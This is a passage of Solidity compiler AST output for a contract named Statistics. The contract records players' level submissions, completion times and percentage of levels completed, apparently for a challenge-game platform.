uint256))"}},"id":56176,"indexExpression":{"id":56175,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56145,"src":"7932:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7901:38:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56178,"indexExpression":{"id":56177,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56147,"src":"7940:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7901:45:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7859:87:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56157,"id":56180,"nodeType":"Return","src":"7852:94:116"}]},"functionSelector":"8dc03535","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56150,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56145,"src":"7686:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56151,"kind":"modifierInvocation","modifierName":{"id":56149,"name":"playerExistsCheck","nameLocations":["7668:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"7668:17:116"},"nodeType":"ModifierInvocation","src":"7668:25:116"},{"arguments":[{"id":56153,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56147,"src":"7719:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56154,"kind":"modifierInvocation","modifierName":{"id":56152,"name":"levelExistsCheck","nameLocations":["7702:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"7702:16:116"},"nodeType":"ModifierInvocation","src":"7702:23:116"}],"name":"getTimeElapsedForCompletionOfLevel","nameLocation":"7566:34:116","parameters":{"id":56148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56145,"mutability":"mutable","name":"player","nameLocation":"7609:6:116","nodeType":"VariableDeclaration","scope":56182,"src":"7601:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56144,"name":"address","nodeType":"ElementaryTypeName","src":"7601:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56147,"mutability":"mutable","name":"level","nameLocation":"7625:5:116","nodeType":"VariableDeclaration","scope":56182,"src":"7617:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56146,"name":"address","nodeType":"ElementaryTypeName","src":"7617:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7600:31:116"},"returnParameters":{"id":56157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56156,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56182,"src":"7743:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56155,"name":"uint256","nodeType":"ElementaryTypeName","src":"7743:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7742:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56222,"nodeType":"FunctionDefinition","src":"8080:376:116","nodes":[],"body":{"id":56221,"nodeType":"Block","src":"8290:166:116","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56208,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56200,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"8308:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":56202,"indexExpression":{"id":56201,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56184,"src":"8320:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8308:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":56204,"indexExpression":{"id":56203,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56186,"src":"8328:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8308:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":56205,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8335:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"8308:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56206,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8349:6:116","memberName":"length","nodeType":"MemberAccess","src":"8308:47:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":56207,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56188,"src":"8359:5:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8308:56:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e646578206f7574626f756e646564","id":56209,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8366:18:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_8a3687869195f1d0b4cf5507cfccb1778853211a1e388fdc67e1ea1abea80d55","typeString":"literal_string \"Index outbounded\""},"value":"Index outbounded"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_8a3687869195f1d0b4cf5507cfccb1778853211a1e388fdc67e1ea1abea80d55","typeString":"literal_string \"Index outbounded\""}],"id":56199,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"8300:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8300:85:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56211,"nodeType":"ExpressionStatement","src":"8300:85:116"},{"expression":{"baseExpression":{"expression":{"baseExpression":{"baseExpression":{"id":56212,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"8402:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":56214,"indexExpression":{"id":56213,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56184,"src":"8414:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8402:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":56216,"indexExpression":{"id":56215,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56186,"src":"8422:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8402:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":56217,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8429:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"8402:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56219,"indexExpression":{"id":56218,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56188,"src":"8443:5:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8402:47:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56198,"id":56220,"nodeType":"Return","src":"8395:54:116"}]},"functionSelector":"d844f6a4","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56191,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56184,"src":"8220:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56192,"kind":"modifierInvocation","modifierName":{"id":56190,"name":"playerExistsCheck","nameLocations":["8202:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"8202:17:116"},"nodeType":"ModifierInvocation","src":"8202:25:116"},{"arguments":[{"id":56194,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56186,"src":"8253:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56195,"kind":"modifierInvocation","modifierName":{"id":56193,"name":"levelExistsCheck","nameLocations":["8236:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"8236:16:116"},"nodeType":"ModifierInvocation","src":"8236:23:116"}],"name":"getSubmissionsForLevelByPlayer","nameLocation":"8089:30:116","parameters":{"id":56189,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56184,"mutability":"mutable","name":"player","nameLocation":"8128:6:116","nodeType":"VariableDeclaration","scope":56222,"src":"8120:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56183,"name":"address","nodeType":"ElementaryTypeName","src":"8120:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56186,"mutability":"mutable","name":"level","nameLocation":"8144:5:116","nodeType":"VariableDeclaration","scope":56222,"src":"8136:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56185,"name":"address","nodeType":"ElementaryTypeName","src":"8136:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56188,"mutability":"mutable","name":"index","nameLocation":"8159:5:116","nodeType":"VariableDeclaration","scope":56222,"src":"8151:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56187,"name":"uint256","nodeType":"ElementaryTypeName","src":"8151:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8119:46:116"},"returnParameters":{"id":56198,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56197,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56222,"src":"8277:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56196,"name":"uint256","nodeType":"ElementaryTypeName","src":"8277:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8276:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56243,"nodeType":"FunctionDefinition","src":"8530:303:116","nodes":[],"body":{"id":56242,"nodeType":"Block","src":"8642:191:116","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":56233,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56224,"src":"8795:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":56232,"name":"getTotalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56083,"src":"8759:35:116","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view returns (uint256)"}},"id":56234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8759:43:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"31653138","id":56235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8805:4:116","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"},"value":"1e18"},"src":"8759:50:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":56237,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8758:52:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"expression":{"id":56238,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55521,"src":"8813:6:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8820:6:116","memberName":"length","nodeType":"MemberAccess","src":"8813:13:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8758:68:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56231,"id":56241,"nodeType":"Return","src":"8751:75:116"}]},"functionSelector":"bc3086a2","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56227,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56224,"src":"8616:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56228,"kind":"modifierInvocation","modifierName":{"id":56226,"name":"playerExistsCheck","nameLocations":["8598:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"8598:17:116"},"nodeType":"ModifierInvocation","src":"8598:25:116"}],"name":"getPercentageOfLevelsCompleted","nameLocation":"8539:30:116","parameters":{"id":56225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56224,"mutability":"mutable","name":"player","nameLocation":"8578:6:116","nodeType":"VariableDeclaration","scope":56243,"src":"8570:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56223,"name":"address","nodeType":"ElementaryTypeName","src":"8570:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8569:16:116"},"returnParameters":{"id":56231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56230,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56243,"src":"8633:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56229,"name":"uint256","nodeType":"ElementaryTypeName","src":"8633:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8632:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56318,"nodeType":"FunctionDefinition","src":"8955:1155:116","nodes":[],"body":{"id":56317,"nodeType":"Block","src":"9140:970:116","nodes":[],"statements":[{"assignments":[56255],"declarations":[{"constant":false,"id":56255,"mutability":"mutable","name":"lastAverageTime","nameLocation":"9158:15:116","nodeType":"VariableDeclaration","scope":56317,"src":"9150:23:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56254,"name":"uint256","nodeType":"ElementaryTypeName","src":"9150:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56259,"initialValue":{"baseExpression":{"id":56256,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55598,"src":"9176:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56258,"indexExpression":{"id":56257,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9209:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9176:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9150:66:116"},{"assignments":[56261],"declarations":[{"constant":false,"id":56261,"mutability":"mutable","name":"newAverageTimeTakenToCompleteLevels","nameLocation":"9234:35:116","nodeType":"VariableDeclaration","scope":56317,"src":"9226:43:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56260,"name":"uint256","nodeType":"ElementaryTypeName","src":"9226:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56262,"nodeType":"VariableDeclarationStatement","src":"9226:43:116"},{"assignments":[56264],"declarations":[{"constant":false,"id":56264,"mutability":"mutable","name":"timeTakenForThisSuccessfulSubmission","nameLocation":"9287:36:116","nodeType":"VariableDeclaration","scope":56317,"src":"9279:44:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56263,"name":"uint256","nodeType":"ElementaryTypeName","src":"9279:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56265,"nodeType":"VariableDeclarationStatement","src":"9279:44:116"},{"expression":{"id":56278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":56266,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56264,"src":"9333:36:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56267,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55579,"src":"9384:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56269,"indexExpression":{"id":56268,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9409:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9384:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56271,"indexExpression":{"id":56270,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56247,"src":"9417:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9384:39:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"baseExpression":{"baseExpression":{"id":56272,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55573,"src":"9426:30:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56274,"indexExpression":{"id":56273,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9457:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9426:38:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56276,"indexExpression":{"id":56275,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56247,"src":"9465:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9426:45:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9384:87:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9333:138:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56279,"nodeType":"ExpressionStatement","src":"9333:138:116"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56284,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":56280,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55598,"src":"9576:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56282,"indexExpression":{"id":56281,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9609:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9576:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":56283,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9620:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"9576:45:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":56313,"nodeType":"Block","src":"9733:319:116","statements":[{"expression":{"id":56305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":56292,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56261,"src":"9747:35:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56304,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":56293,"name":"lastAverageTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56255,"src":"9804:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":56294,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56249,"src":"9823:32:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":56295,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9858:1:116","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"9823:36:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":56297,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"9822:38:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9804:56:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":56299,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"9803:58:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":56300,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56264,"src":"9864:36:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9803:97:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":56302,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"9785:129:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":56303,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56249,"src":"9917:32:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9785:164:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9747:202:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56306,"nodeType":"ExpressionStatement","src":"9747:202:116"},{"expression":{"id":56311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":56307,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55598,"src":"9963:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56309,"indexExpression":{"id":56308,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9996:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"9963:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":56310,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56261,"src":"10006:35:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9963:78:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56312,"nodeType":"ExpressionStatement","src":"9963:78:116"}]},"id":56314,"nodeType":"IfStatement","src":"9572:480:116","trueBody":{"id":56291,"nodeType":"Block","src":"9623:104:116","statements":[{"expression":{"id":56289,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":56285,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55598,"src":"9637:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 